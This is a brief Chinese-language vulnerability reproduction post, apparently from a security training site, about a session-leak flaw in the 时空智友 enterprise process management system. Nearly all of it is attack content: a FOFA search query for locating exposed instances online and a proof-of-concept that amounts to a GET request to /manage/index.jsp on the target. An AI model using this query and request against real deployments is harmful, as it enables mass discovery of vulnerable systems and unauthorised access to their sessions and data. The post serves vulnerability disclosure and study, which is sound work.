时空智友企业流程化管控系统 session 漏洞复现

本文由掌控安全学院 - wax 投稿

时空智友企业流程化管控系统 session 泄露 POC如下：

1     fofa 语法：title=”时空智友企业信息管理”

访问目标首页如下：漏洞poc为 GET 方式访问 http://ip:port/manage/index.jsp

                                                          没看够~？欢迎关注！